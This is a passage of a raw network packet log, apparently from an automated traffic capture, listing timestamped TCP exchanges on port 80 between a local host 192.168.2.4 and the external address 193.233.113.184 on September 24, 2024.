Sep 24, 2024 21:30:09.715620995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.715634108 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.715650082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.715656042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.715666056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.715682030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.715698004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.715735912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.716361046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.716377020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.716392994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.716408968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.716443062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.756037951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.756130934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.756139040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.756191015 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.756196022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.756233931 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.756242037 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.756278992 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.756364107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.756397963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.756413937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.756433010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.756443024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.756468058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.756489038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.756520033 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.756762028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.756794930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.756815910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.756830931 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.756841898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.756866932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.756874084 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.756903887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.756913900 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.756949902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.757213116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.757245064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.757262945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.757287979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.757399082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.757431984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.757447958 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.757466078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.757478952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.757500887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.757512093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.757536888 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.757545948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.757571936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.757582903 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.757607937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.757618904 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.757642031 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.757652998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.757694960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.758099079 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.758131027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.758152008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.758172989 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.758213997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.758249044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.758260965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.758281946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.758294106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.758317947 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.758327007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.758349895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.758362055 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.758384943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.758395910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.758419991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.758430004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.758455038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.758465052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.758500099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.759131908 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.759166002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.759187937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.759197950 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.759205103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.759232998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.759243965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.759267092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.759295940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.759303093 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.759316921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.759336948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.759365082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.759373903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.759398937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.759417057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.759442091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.759493113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.759983063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.760018110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.760032892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.760051966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.760063887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.760087967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.760097980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.760122061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.760133982 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.760158062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.760166883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.760191917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.760201931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.760226965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.760236979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.760262012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.760272980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.760304928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.771459103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.771516085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.771547079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.771550894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.771589994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.771610022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.771766901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.771800995 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.771836042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.771837950 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.771852970 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.771872997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.772005081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.772005081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.800194979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.800256014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.800257921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.800292015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.800306082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.800472975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.800506115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.800508022 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.800518036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.800595999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.800611019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.800631046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.800642014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.800668955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.800678015 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.800714016 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.800937891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.800973892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.800987005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.801007986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.801028967 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.801043034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.801059961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.801075935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.801088095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.801141024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.801420927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.801453114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.801467896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.801486969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.801500082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.801522017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.801543951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.801557064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.801568985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.801610947 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.801918030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.801970005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.801980972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.802025080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.802027941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.802069902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.802072048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.802115917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.802115917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.802154064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.802165031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.802191019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.802198887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.802225113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.802237034 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.802259922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.802268982 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.802304029 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.802881956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.802916050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.802922964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.802951097 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.802963972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.802985907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803009033 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.803019047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803054094 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803065062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.803088903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803092003 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.803112984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.803126097 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803148985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.803158998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803163052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.803222895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.803667068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803700924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803724051 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.803755045 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803761005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.803790092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803807974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.803822994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803837061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.803858042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803868055 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.803891897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803901911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.803935051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803939104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.803971052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.803978920 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.804008007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.804017067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.804054976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.804719925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.804754972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.804780006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.804788113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.804821014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.804822922 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.804852962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.804856062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.804867983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.804888964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.804913998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.804918051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.804949045 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.804954052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.804969072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.804989100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.804999113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.805022001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.805036068 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.805067062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.805450916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.805509090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.859328985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.859400034 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.859404087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.859461069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.859462023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.859512091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.859538078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.859587908 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.859714985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.859749079 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.859776974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.859782934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.859793901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.859817028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.859831095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.859853983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.859870911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.859898090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.860210896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.860243082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.860271931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.860275984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.860285044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.860313892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.860323906 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.860358953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.903017998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.907921076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.114214897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.114295006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.114326000 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.114347935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.114361048 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.114379883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.114389896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.114398003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.114418030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.114435911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.114454985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.114473104 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.114489079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.114521980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.114583969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.114617109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.114634991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.114651918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.114670992 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.114690065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.114702940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.114737988 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.114948988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.114989996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.115061045 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.115093946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.115109921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.115128994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.115143061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.115163088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.115174055 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.115200043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.115207911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.115235090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.115245104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.115278959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.115648985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.115681887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.115699053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.115716934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.115727901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.115751982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.115760088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.115787029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.115797997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.115823030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.115829945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.115856886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.115868092 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.115900040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.115904093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.115950108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.116331100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.116379976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.116389036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.116426945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.116439104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.116461039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.116480112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.116496086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:10.116512060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:10.116528034 CEST	80	49730	193.233.113.184	192.168.2.4
